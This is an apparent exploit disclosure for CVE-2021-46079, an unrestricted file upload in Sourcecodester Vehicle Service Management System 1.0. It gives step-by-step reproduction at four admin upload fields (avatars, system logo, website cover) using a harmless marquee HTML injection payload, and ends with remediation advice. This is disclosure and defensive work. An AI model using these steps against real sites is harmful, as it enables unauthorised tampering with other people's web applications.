Exploit Author: P.L.Sanu
- https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection
- https://nvd.nist.gov/vuln/detail/CVE-2021-46079
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46079
An Unrestricted File Upload vulnerability exists in Sourcecodester Vehicle Service Management System 1.0. A remote attacker can upload malicious files leading to Html Injection.
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to My Account section http://localhost/vehicle_service/admin/?page=user
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Save the above html code For Ex:Html Injection.html
- In My Account Section enter all the required details and browse the html file in Avatar.
- Click on update button.
- Open the avatar image in new tab.
- Html Injection is Executed.
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to User List section and click on Create New button.
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Save the above html code For Ex:Html Injection.html
- In Create New User Page enter all the required details and browse the html file in Avatar.
- Click on Save button.
- Open the avatar image in new tab.
- Html Injection is Executed.
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Save the above html code For Ex:Html Injection.html
- In Settings Section enter all the required details and browse the html file in System Logo.
- Click on update button.
- Open the System Logo image in new tab.
- Html Injection is Executed.
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Save the above html code For Ex:Html Injection.html
- In Settings Section enter all the required details and browse the html file in Website Cover.
- Click on update button.
- Open the Website Cover image in new tab.
- Html Injection is Executed.
An attacker can able to upload malicious file in multiple endpoints it leads to Html Injection.
It is recommended to implement the following:
- Never accept a filename and its extension directly without having a white-list filter.
- If there is no need to have Unicode characters, it is highly recommended to only accept alpha-numeric characters and only one dot as an input for the file name and the extension.
- Limit the file size to a maximum value in order to prevent denial of service attacks.
- Uploaded directory should not have any "execute" permission.
- Don't rely on client-side validation only.